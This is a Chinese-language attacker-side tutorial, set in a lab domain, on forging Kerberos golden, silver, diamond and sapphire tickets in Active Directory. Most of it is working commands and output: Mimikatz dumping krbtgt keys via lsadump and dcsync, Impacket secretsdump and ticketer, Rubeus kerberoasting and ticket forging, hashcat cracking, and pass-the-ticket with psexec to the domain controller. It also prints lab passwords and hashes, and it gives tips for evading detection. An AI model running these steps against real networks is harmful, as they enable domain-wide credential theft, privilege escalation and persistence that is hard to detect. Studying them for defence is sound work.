四种票据利用方式

0x01 Kerberos 身份认证流程

Kerberos 是一种基于票证的身份验证协议。它基本上是这样工作的:

1.客户端向KDC(Key Distribution Center,通常是域控制器)请求TGT(Ticket Granting Ticket)。请求用户的密钥之一用于预身份验证。 TGT 由身份验证服务 (AS) 提供。客户端的请求被称为AS-REQ,应答被称为AS-REP。

2.客户端使用 TGT 向 KDC 请求 ST(服务票证)。该票证由票证授予服务 (TGS) 提供。客户端的请求被称为TGS-REQ,应答被称为TGS-REP。

3.客户端使用ST(服务票证)来访问服务。客户端对服务的请求被称为调用AP-REQ,服务的响应被称为调用AP-REP。

4.两种票证(TGT 和 ST)通常都包含加密的 PAC(特权身份验证证书),目标服务将读取一组信息来决定身份验证用户是否可以访问该服务(用户 ID、组成员身份等) 。

0x02 黄金票据 Golden Ticket

介绍

黄金票证是一种权限维持手段,攻击者获得了对 Active Directory 密钥分发服务帐户 (KRBTGT) 的控制权,并使用该帐户伪造有效的 Kerberos 票证授予票证 (TGT)。这使攻击者能够访问 Active Directory 域上的任何资源,如果有 KRBTGT 哈希,您可以伪造自己的 TGT,其中包括想要的任何组成员身份的 PAC 数据

利用条件

黄金票据的使用的必要票件是获取域中 krbtgt 用户使用的加密密钥之一,然而加密密钥之一就是该账户的NTLM HASH

可以使用使用Mimikatz读取密钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
mimikatz # privilege::debug



Privilege '20' OK







mimikatz # lsadump::lsa /inject /name:krbtgt



Domain : ROOTKIT / S-1-5-21-3759881954-2993291187-3577547808







RID : 000001f6 (502)



User : krbtgt







* Primary



NTLM : c3d5042c67ef5f461d0ba6ecdd9ea449



LM :



Hash NTLM: c3d5042c67ef5f461d0ba6ecdd9ea449



ntlm- 0: c3d5042c67ef5f461d0ba6ecdd9ea449



lm - 0: 2ca534c7c96a0b5bf6b37169b68f66af







* WDigest



01 3aea9b0472aa93bb13a9b2cffacf1001



02 d9a716e3ba48883f5e320e32ea793979



03 c888eb926eb57ff76e58ab449473d39b



04 3aea9b0472aa93bb13a9b2cffacf1001



05 d9a716e3ba48883f5e320e32ea793979



06 e9ae3f6dcdd930348beb39a7820c885e



07 3aea9b0472aa93bb13a9b2cffacf1001



08 012ae037510392d1042f4b243bd2c267



09 012ae037510392d1042f4b243bd2c267



10 a9fb57ca643019f1d9905258c730bc6d



11 1502d1b012872f1fa844005a85febaf4



12 012ae037510392d1042f4b243bd2c267



13 6e163f56804bf65f31aca237ffc9c27c



14 1502d1b012872f1fa844005a85febaf4



15 3129979e298936ba9f9887964df78426



16 3129979e298936ba9f9887964df78426



17 7d8690f61f25eee70d00dbf43d56dde3



18 5d4a8835dbe016ee297e53e7ffb39211



19 d634b7b932766446b488972d97a666d8



20 0fc150e25f583494a969df01da500775



21 f56f62faf0625c2d57698b23a23bbec9



22 f56f62faf0625c2d57698b23a23bbec9



23 8071dd220b86f03043815241b5826a37



24 9c11092e9e52701249d1b3e28351aa8c



25 9c11092e9e52701249d1b3e28351aa8c



26 e8432cad9fda7cd77474c556d8add53a



27 72296ac7ad11af046a2cb5edc6ccd75c



28 78f36bbd4ba657fdcc2f377e550e0c62



29 4cb788eeb5b4460b4334f6b6b5cd969b







* Kerberos



Default Salt : ROOTKIT.ORGkrbtgt



Credentials



des_cbc_md5 : 2cb957646746e376







* Kerberos-Newer-Keys



Default Salt : ROOTKIT.ORGkrbtgt



Default Iterations : 4096



Credentials



aes256_hmac (4096) : 3e65833fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745



aes128_hmac (4096) : c7ae2a311bdd5803646f9a98351c31e6



des_cbc_md5 (4096) : 2cb957646746e376

其中有三个加密密钥可以用于黄金票据

1
2
3
4
5
6
7
8
9
NTLM : c3d5042c67ef5f461d0ba6ecdd9ea449



aes256_hmac : 3e65833fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745



aes128_hmac : c7ae2a311bdd5803646f9a98351c31e6

除了加密密钥之外,还需要以下信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
目标域名:我这里是rootkit.org



目标域的sid:刚刚lsadump::lsa 有显示S-1-5-21-3759881954-2993291187-3577547808 或者whami /all也可以查看



要模拟的用户账户名称:例如 Administrator



要模拟的用户RID:RID是SID右边的数字,例如管理员是500



该账户所属组的RID:域用户和域管理员的RID分别是512和513

使用Mimikatz注入票据

登录低权限域账户,尝试 dir 域控失败

1
2
3
4
5
清除原有票据:kerberos::purge



注入黄金票据:kerberos::golden /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /rc4:c3d5042c67ef5f461d0ba6ecdd9ea449 /user:Administrator /id:500 /groups:500,501,513,512,520,518,519 /ptt

成功注入后尝试dir域控,成功

尝试psexec成功

如果以后想要重复使用相同的票据,可以直接生成一个票据文件,然后将其文件导入会话中

1
2
3
4
5
kerberos::golden /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /rc4:c3d5042c67ef5f461d0ba6ecdd9ea449 /user:Administrator /id:500 /groups:500,501,513,512,520,518,519 /ticket:golden.kirbi



kerberos::ptt golden.kirbi

注意:由于客户端和服务器的配置问题以及windows自身的特性,需要尝试目标系统的非限定名称或者限定名称才能成功,例如 UNC 路径\\owa2013\c$\\owa2013.rootkit.org\c$

如果拥有 AES-256 HMAC 和/或 AES-128 HMAC也可进行尝试

1
2
3
4
5
6
7
8
9
10
11
12
13
#aes256



kerberos::golden /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /aes256:3e65833fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745 /user:Administrator /id:500 /groups:500,501,513,512,520,518,519 /ptt



#aes128



kerberos::golden /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /aes128:c7ae2a311bdd5803646f9a98351c31e6 /user:Administrator /id:500 /groups:500,501,513,512,520,518,519 /ptt

欺骗性用户名

在票据认证中,目标系统通常会信任 Kerberos 票证中的信息,而不会验证帐户信息是否有效。我们可以尝试注入一个名称为Hello world,Nice to meet you my dear的会话

1
kerberos::golden /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /aes256:3e65833fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745 /user:"Hello world,Nice to meet you my dear" /id:500 /groups:500,501,513,512,520,518,519 /ptt

查看域控在线会话可以看到这个用户名

其实 RID 也可以任意,但是某些系统会尝试反向查找产生异常,非必要情况下不建议这么做

组成员资格

组 RID 列表不需要与欺骗票证中的帐户所属的实际组列表相对应,即使你的用户名是低权限,你可以包含Domain Admins组的 RID。

1
kerberos::golden /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /aes256:3e65833fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745 /user:micle /id:1139 /groups:500,501,513,512,520,518,519 /ptt

impacket 下黄金票据的利用

lookupid.py脚本以枚举域 SID

1
python lookupsid.py "rookit/administrator:admin!@#45"@192.168.3.131

secretsdump.py用于提取 krbtgt哈希

1
python secretsdump.py "rookit/administrator:admin!@#45"@192.168.3.131 -outputfile krbhash -user-status

ticketer.py 脚本创建TGT/TGS工单,工单期限固定为10年后,

1
python ticketer.py -nthash c3d5042c67ef5f461d0ba6ecdd9ea449 -domain-sid S-1-5-21-3759881954-2993291187-3577547808 -domain rootkit.org administrator

使用ticket_converter.py将ccache文件转换为kirbi文件

1
python ticketConverter.py administrator.ccache ticket.kirbi

mimikatz进行注入

1
kerberos::ptt ticket.kirbi

使用 Rubeus.exe 传递票据

1
Rubeus.exe ptt /ticket:ticket.kirbi

msf 下的 mimikatz

1
2
3
4
5
load kiwi



dcsync_ntlm krbtgt

确定当前域

生成票据并导入

1
2
3
4
5
golden_ticket_create -d rootkit.local -u administrator -s S-1-5-21-3759881954-2993291187-3577547808 -k c3d5042c67ef5f461d0ba6ecdd9ea449 -t /home/kali/ticket.kirbi



kerberos_ticket_use /home/kali/ticket.kirbi

0x03 白银票据 Silver Ticket

介绍

白银票据是伪造的 Kerberos Ticket Grant Service (TGS) 票证,银票仅允许攻击者伪造特定服务的票证授予服务 (TGS) 票据。TGS 票证使用服务的密码哈希值进行加密,因此如果攻击者窃取了服务帐户的哈希值,就可以生成白银票据。

利用条件

白银票据所需的利用条件和黄金票据是相同的,只是秘钥换成了对应服务的机器账户 Hash(尾部带$的均为机器账户)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
目标域名:我这里是rootkit.org



目标域的sid:刚刚lsadump::lsa 有显示S-1-5-21-3759881954-2993291187-3577547808 或者whami /all也可以查看



要模拟的用户账户名称:例如 Administrator



要模拟的用户RID:RID是SID右边的数字,例如管理员是500



该账户所属组的RID:域用户和域管理员的RID分别是512和513

尝试 mimikatz 注入票据

CIFS文件共享服务的密码和计算机账户相同,使用 mimikatz 抓一下密码

1
2
3
4
5
privilege::debug



sekurlsa::logonpasswords

查看Sid

注入票据

1
kerberos::golden /sid:S-1-5-21-202412995-3582062751-167045153 /domain:rootkit.org /target:SRV-WEB-KIT.rootkit.org /service:cifs /rc4:78e1c42dbff68fdd87ea7abd70b67533 /user:1111 /ptt

使用 rubeus 进行注入

下面将尝试获取 mssql 服务的票据,由于本地测试,需要向服务添加一个账户sqluser来运行

使用 rubeus 转储 tgs

1
rubeus.exe kerberoast /domain:rootkit.org /creduser:rootkit\windows7 /credpassword:admin!@#45 /nowrap

使用 hashcat 爆破密码,密码为 Admin12345

1
hashcat -m 13100 '$krb5tgs$23$*sqluser......省略' '/home/kali/Desktop/10_million_password_list_top_100000.txt'  --force

使用 rubeus转为 ntlm hash

1
Rubeus.exe hash /password:Admin12345

使用whoami /user获取sid,服务名service是上面kubeus获取到的服务名

1
rubeus.exe silver /service:MSSQLSvc/win7.rootkit.org /rc4:CCEF208C6485269C20DB2CAD21734FE7 /sid:S-1-5-21-3759881954-2993291187-3577547808 /user:test123333 /domain:rootkit.org /ptt

远程连接数据库执行命令即可

1
sqlcmd -S 192.168.1.2,1433

黄金票据与白银票据的区别

  1. 访问权限不同
1
2
3
4
5
黄金票据 伪造TGT,可以获取任何Kerberos服务权限 



白银票据 伪造TGS,只能访问指定的服务,白银票据的权限就远不如黄金票据的权限
  1. 加密方式不同
1
2
3
4
5
黄金票据 由Kerberos的NTLM Hash加密 



白银票据 由服务账号(通常为计算机账户)NTLM Hash加密,更加隐蔽
  1. 认证流程不同
1
2
3
4
5
黄金票据 利用过程需要访问域控DC



白银票据 不经过KDC,因此白银票据日志相对于黄金票据会更少,同时白银票据的日志都在目标服务器上,域控上不会有日志

0x04 钻石票据 Diamond Ticket

黄金票据攻击和钻石票据攻击都需要访问krbtgt密钥。然而,钻石票据攻击需要访问AES256密钥。黄金票证攻击则是利用伪造票证授予票证 (TGT) ,而钻石票证攻击则利用了域控制器 (DC) 请求的真实 TGT 进行解密和重新加密进行票据攻击。

黄金票据充分利用了能够从头开始伪造票据授予票据 (TGT) 的优势,而钻石票据则利用了能够解密和重新加密从域控制器 (DC) 请求的真实 TGT 的优势。

钻石PAC

什么是PAC

PAC 是一种传递域控制器 (DC)提供的授权相关信息的结构。身份验证协议使用 PAC 来验证身份以传输授权信息,从而控制对资源的访问。说白了就是来验证身份是否有效的。

最初的钻石PAC攻击远没有钻石票据灵活,攻击成功需要两个条件

1
2
3
4
5
1. 在没有特权属性证书(PAC)的情况下请求TGT



2. 确保要访问的服务的服务帐户未在其 UserAccountControl (UAC) 属性中设置“NA”位

在服务帐户的 UAC 属性中设置 NA 位后,向该服务帐户请求的 ST 没有 PAC ,攻击者下一个阶段就可以构造恶意 PAC 注入到 ST 中实现攻击。

由于2021年发布的补丁无法再在完全最新的域控制器 (DC) 上使用没有 PAC 的 TGT。我们知道需要拥有KRBTGT密钥,并且攻击利用任何其他有效帐户来请求 TGT。所以我们想为什么不直接解密该 TGT,按照我们想要的方式修改它,重新计算 PAC 签名,然后重新加密它。这就是我们所说的钻石票据。

钻石票据攻击利用

我们使用钻石票据的思路就是使用低权限的用户向域控请求一个普通的 TGT,随后进行解密修改签名和重新加密即可,当然这些事情Rubeus会自动帮我们完成,我们只需要提供信息即可。

本地尝试dir拒绝访问

使用 mimikatz 抓取 krbtgt 用户 aes256密钥

1
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:rootkit.org /user:krbtgt" "exit"

使用钻石票据需要提供以下信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
krbkey:3e65833fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745



低权限用户user:micle



用户密码password:Admin12345



domain:rootkit.org



dc:owa2013.rootkit.org



ticketuser:administrator //伪造的票据用户名可以任意,不需要域中存在该用户
1
Rubeus.exe diamond /krbkey:3e65833fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745 /user:micle /password:Admin12345 /enctype:aes /domain:rootkit.org /dc:owa2013.rootkit.org /ticketuser:test123 /ptt /nowrap

以下为原TGT

解密重新构造的TGT

利用我们重新构造的TGT对域控的cifs服务进行票据注入。

1
Rubeus.exe asktgs /ticket:doIFMjCCBS6gAwIBBaEDAgEWooIEOzCCBDdhggQzMIIEL6ADAgEFoQ0bC1JPT1RLSVQuT1JHoiAwHqADAgECoRcwFRsGa3JidGd0GwtST09US0lULk9SR6OCA/UwggPxoAMCARKhAwIBA6KCA+MEggPfj2PsZr7SGEqJsPPl5wG8ljBVM4yBAtxGQNxTQQPo6WBMTxcXS+3f3vyYs6qab0uZ+X5UW45e4aW8T8VhsTOkSJ1jokudegt8ILFKbHNpuUTMywsfgjRb6o+CQkfyZMGep1bQ9FoKHw+qPyd6ql7bYK50u1zO+uhNQ61cQDymFiDaqu0UBLh9yI4qY81gpycKOZSWqy0T/cH52hn22IuuxfL9dKN9qdRF+YCnrqy9MBSPx5E3MGVroJZrLYqgDfPQ9g+u1pPabnci8ac3J2S8isxbTscP7hutRATWTQWeauRvG1DbNN6qANWagDNpPy9JEqQoLbqrr3GD/FEQhaANSZlX2IPzLj8EsUcKQExEVSaWC3OuUwqNGWBNhc1m+aJL9mt6D42SwWMyFvmREmlj/lDR9kv9IQmqupcFCloBkewpyFBlecHkkSFKwXGvde65Y7Z/5vP1Iq1el2VrZPPMhywUhk5JwnRNhInDokhYFOWMIdY3w/C2PreLdEiL5aFUc7e01y7uQV5Wbe/OJ6XZdNhbYKXZ9lzZdHAqSayQmo0TRpBCBwqAZUFZse3l5B7qwPP9WBJDLIZtNgV6GUt0CW9DVoIW0jdM1j2Hkl9B+CeM1xV7Vb2DMNh8gK6IfT7KWEHX8a+0GVwlQWkAW/O/IpjZc8+3rIkiIfCIqbGTwA/pnjfhsS2lOXetwW6S4jQ8C9SfKZbLWhPIxpRs9q9g3tWMUE22Pk06CD3T9GbdTEbVi0IvCQJSgNIGMu+sI9ISVZ78HNmYv2wAjjC0tcHusjG1DDj0obyfeg99icK1ZtZL0HmOcQCSwNZqqJDMOXix1uKXv8auJP0itVdUf/aYp8l0xDjVQRYzvefpuar1Ce2Dhguejc6nEfPKusFBPDNhYGw8WlSupnCjjwgNuuQT1WUXdNuTMpPAh3Grb0dj/2s3/WcqVI3P9eZMos6n+MnD8RJUjytPGAm+iKa30KmL3nJbxQEdBOCI9cY4SYmf09B9fQJhG7fEwyeUyjcRoCeOeLFlSM8MCs/qHUi+0MTkVyyiLYZWfcNY+20dCbwUtRz6zXUwQ4go8buZoZMKqnnio1rtzZxzqkqiYK+AbtRq7+9JPuX0chOr9GKqGQGEqaQZCqjOVCQKr1A+JK4mfhHxGwe0eDaDtGOTUnszGLhqQdmDVxNpKduOLjaQBN97ACnitC3Q1Ww6ZeCv51TVh2x787nNkYy5JWZrY0gd3FByb9UDkMmeODy/1oVireCYEfLAL8yUuu/REgZbkyIsxzSCeG/NUZN6ztjGn/IrJ06bEQS6OhuvPHKP51JIh/8HUaOB4jCB36ADAgEAooHXBIHUfYHRMIHOoIHLMIHIMIHFoCswKaADAgESoSIEIFPwBQgPPeImtpqHK3V4zobqMKDh0uVBzmEB/v5GuE7noQ0bC1JPT1RLSVQuT1JHohQwEqADAgEBoQswCRsHdGVzdDEyM6MHAwUAQOEAAKURGA8yMDI0MDIwNTA0Mjk0OFqmERgPMjAyNDAyMDUxNDI5NDhapxEYDzIwMjQwMjEyMDQyOTQ4WqgNGwtST09US0lULk9SR6kgMB6gAwIBAqEXMBUbBmtyYnRndBsLUk9PVEtJVC5PUkc= /service:cifs/owa2013.rootkit.org /ptt /nowrap

查看票据发现已经存在

尝试 dir域控和psexec均成功

这种技术相比于金票更加隐蔽,因为过程中所申请的TGT是真实的,只是修改了PAC,相对你金票离线生成TGT更符合OPSEC

0x05 蓝宝石票据 Sapphire Ticket

蓝宝石票据与钻石票据类似,票据不是伪造的,而是通过请求后获得的合法票据。他们的区别在于PAC的修改方式。钻石票据是修改了合法PAC以添加特权组。在蓝宝石票据中,高权限用户PAC是通过

S4U2Self+U2U获得的,然后该PAC会替换原来的PAC,由于该票据是完全合法元素组合起来的,所以是最难检测的票据。

S4U2self + U2U

为了在 Kerberos 协议层面对约束性委派进行支持,微软扩展了 S4U2self 协议,而使用 U2U 可以在没有 SPN 的情况下请求 S4U2Self

尝试生成蓝宝石票据

在这里使用魔改过的 ticketer.py

1
https://github.com/ShutdownRepo/impacket/tree/6c9a1aadbfc11e321858a640b596530535b11fd1

将域控的ip地址加入hosts,使用如下命令生成票据

1
python ticketer.py -request -impersonate 'administrator' -domain 'rootkit.org' -user 'micle' -password 'Admin12345' -aesKey '3e65833fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745' -domain-sid 'S-1-5-21-3759881954-2993291187-3577547808' -nthash 'c3d5042c67ef5f461d0ba6ecdd9ea449' 'Sapphire'

通过抓包可以看到我们指定了要获取服务票证的用户名administrator ,此外我们还为用户请求了服务票证,执行 U2U

使用mimikatz导入该票据,成功dir域控

1
kerberos::ptc ignored.ccache

由于该票据很难被检测到,只能通过人工排查krbrgt账户被盗等情况入手

参考:https://xz.aliyun.com/news/13032?time__1311=eqUxuDcDBD0Dg7CeDsjOxiqiKmx7Tw%2BYRpD&u_atoken=f52bd5554f81e725f08eebdd4ea25593&u_asig=0a472f9017425368091076282e0119